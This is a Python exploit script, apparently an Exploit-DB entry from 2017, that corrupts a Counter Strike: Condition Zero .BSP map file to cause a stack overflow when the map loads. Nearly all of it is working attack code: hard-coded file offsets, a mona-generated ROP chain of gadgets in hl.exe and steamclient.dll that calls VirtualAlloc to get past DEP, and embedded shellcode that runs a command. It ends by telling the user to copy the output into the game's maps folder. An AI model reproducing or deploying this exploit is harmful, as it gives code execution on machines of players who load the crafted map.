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#!/usr/bin/env python # Counter Strike: Condition Zero BSP map exploit # By @Digital_Cold Jun 11, 2017 # # E-DB Note: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42325.zip (bsp-exploit-source.zip) # from binascii import hexlify, unhexlify from struct import pack, unpack import math import mmap import logging fmt = "[+] %(message)s" logging.basicConfig(level=logging.INFO, format=fmt) l = logging.getLogger("exploit") # Specific to the file INDEX_BUFFER_OFF = 0x92ee0 # ARRAY[int] VERTEX_BUFFER_INDEXES_OFF = 0xA9174 # ARRAY[unsigned short] VERTEX_DATA_OFF = 0x37f7c # ARRAY[VEC3], VEC3[float, float, float] NUM_EDGES_OFF = 0x70f94 # The length that was fuzzed to cause the crash # No longer used as could not find a gadget to 'pop, pop, pop esp, ret' # SEH_OVERWRITE_OFF = 0x4126C # Initial offset into the index buffer where the function to exploit resides INITIAL_OFFSET = 0xb130 # this is multiplied by 4 for data type size already # INDEX_BUFFER # 0: 20 # 1: 10 # 2: 2 --> Vertex Buffer Indexes # VERTEX BUFFER INDEXES # 0: 1 # 1: 2 # 2: 4 --> Vertex Data # VERTEX DATA # 0: 1.23, 23423.0, 3453.3 # 1: 1.23, -9.0, 3453.3 # 2: 1.0, 1.0, 1.0 # 3: 1.0, 1.0, 1.0 # 4: 0.0, 1.0, 0.0 # Example: # a = INDEX_BUFFER[2] ; a = 2 # b = VERTEX_BUFFER[a] ; b = 4 # vec = VERTEX_DATA[b] ; vec = 0.0, 1.0, 0.0 def dw(x): return pack("I", x) def main(): target_file = "eip-minimized.bsp" output_file = "exploit-gen.bsp" print "GoldSource .BSP file corruptor" print " by @Digital_Cold" print l.info("Corrupting target file %s" % target_file) # Read in and memory map target file fp = open(target_file, 'rb') mmfile = mmap.mmap(fp.fileno(), 0, access = mmap.ACCESS_READ | mmap.ACCESS_COPY) fp.close() VEC3_COUNT = 63 # then come Saved EBP and return address start_idx = INDEX_BUFFER_OFF + INITIAL_OFFSET second_idx = VERTEX_BUFFER_INDEXES_OFF vertex_data_start = VERTEX_DATA_OFF + 12*0x1000 # arbitrary offset, lower causes faults l.info("Writing to index buffer offset %08x...", start_idx) l.info("Vertex buffer indexes start %08x", second_idx) l.info("Vertex data at %08x", vertex_data_start) data_buffer = [] for i in range(VEC3_COUNT): for j in range(3): data_buffer.append(str(chr(0x41+i)*4)) # easy to see pattern in memory data_buffer.append("\x00\x00\x00\x00") # dont care data_buffer.append("\x00\x00\x00\x00") # unk1 data_buffer.append("\x00\x00\x00\x00") # unk2 data_buffer.append("\x00\x00\x00\x00") # numVerts (needs to be zero to skip tail call) data_buffer.append("\x00\x00\x00\x00") # EBP data_buffer.append(dw(0x01407316)) # Saved Ret --> POP EBP; RET [hl.exe] # XXX: bug in mona. This is a ptr to VirtualProtectEx!! # 0x387e01ec, # ptr to &VirtualProtect() [IAT steamclient.dll] """ Register setup for VirtualAlloc() : -------------------------------------------- EAX = NOP (0x90909090) ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualAlloc() EDI = ROP NOP (RETN) --- alternative chain --- EAX = ptr to &VirtualAlloc() ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = POP (skip 4 bytes) ESI = ptr to JMP [EAX] EDI = ROP NOP (RETN) + place ptr to "jmp esp" on stack, below PUSHAD -------------------------------------------- """ # START ROP CHAIN # DEP disable ROP chain # rop chain generated with mona.py - www.corelan.be # # useful for finding INT3 gadget - !mona find -s ccc3 -type bin -m hl,steamclient,filesystem_stdio rop_gadgets = [ #0x3808A308, # INT3 # RETN [steamclient.dll] 0x38420ade, # POP EDX # RETN [steamclient.dll] 0x387e01e8, # ptr to &VirtualAlloc() [IAT steamclient.dll] 0x381236c5, # MOV ESI,DWORD PTR DS:[EDX] # ADD DH,DH # RETN [steamclient.dll] 0x381ebdc1, # POP EBP # RETN [steamclient.dll] 0x381f98cd, # & jmp esp [steamclient.dll] 0x387885ac, # POP EBX # RETN [steamclient.dll] 0x00000001, # 0x00000001-> ebx 0x384251c9, # POP EDX # RETN [steamclient.dll] 0x00001000, # 0x00001000-> edx 0x387cd449, # POP ECX # RETN [steamclient.dll] 0x00000040, # 0x00000040-> ecx 0x386c57fe, # POP EDI # RETN [steamclient.dll] 0x385ca688, # RETN (ROP NOP) [steamclient.dll] 0x0140b00e, # POP EAX # RETN [hl.exe] 0x90909090, # nop 0x385c0d3e, # PUSHAD # RETN [steamclient.dll] ] # Can be replaced with ANY shellcode desired... # http://shell-storm.org/shellcode/files/shellcode-662.php shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" + \ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" + \ "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" + \ "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" + \ "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" + \ "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" + \ "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" + \ "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" + \ "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" + \ "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" + \ "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" + \ "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" + \ "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" + \ "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" + \ "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" + \ "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" + \ "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" + \ "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" + \ "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" + \ "\x24\x20\x57\xFF\xD0" shellcode += "\xeb\xfe" # infinite loop! (we dont want hl.exe to crash) shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode_dwords = int(math.ceil(len(shellcode)/4.0)) extra_dwords = int(math.ceil((len(rop_gadgets)+shellcode_dwords)/3.0)) # Loop count (needs to be the exact amount of ROP we want to write data_buffer.append(dw(extra_dwords)) for addr in rop_gadgets: data_buffer.append(dw(addr)) for b in range(shellcode_dwords): data = "" for byte in range(4): idx = byte + b*4 # pad to nearest DWORD with INT3 if idx >= len(shellcode): data += "\xcc" else: data += shellcode[idx] data_buffer.append(data) second_idx += 8000*4 # time 4 because we skip every-other WORD, which means each index has 4 bytes # 8000 is arbitrary, but it doesn't cause the map load to exit with a FATAL before # we can exploit the function # UNCOMMENT TO CHANGE INITIAL SIZE OF OVERFLOW #mmfile[NUM_EDGES_OFF] = pack("B", 0x41) for i in range(int(math.ceil(len(data_buffer)/3.0))): mmfile[start_idx+4*i:start_idx+4*(i+1)] = pack("I", 8000+i) mmfile[second_idx+2*i:second_idx+2*(i+1)] = pack("H", 0x1000+i) second_idx += 2 # required because the game loads every-other word # This data will now be on the stack for j in range(3): sub_idx = j*4 + i*0xc data_idx = i*3 + j towrite = "" if data_idx >= len(data_buffer): towrite = "\x00"*4 else: towrite = data_buffer[i*3 + j] mmfile[vertex_data_start+sub_idx:vertex_data_start+sub_idx+4] = towrite #l.debug("Write[%08x] --> offset %d" % (unpack("I", towrite)[0], vertex_data_start+sub_idx)) # write out the corrupted file outfile = open(output_file, "wb") outfile.write(mmfile) outfile.close() l.info("Wrote %d byte exploit file to %s" % (len(mmfile), output_file)) l.info("Copy to game maps/ directory!") if __name__ == "__main__": main()
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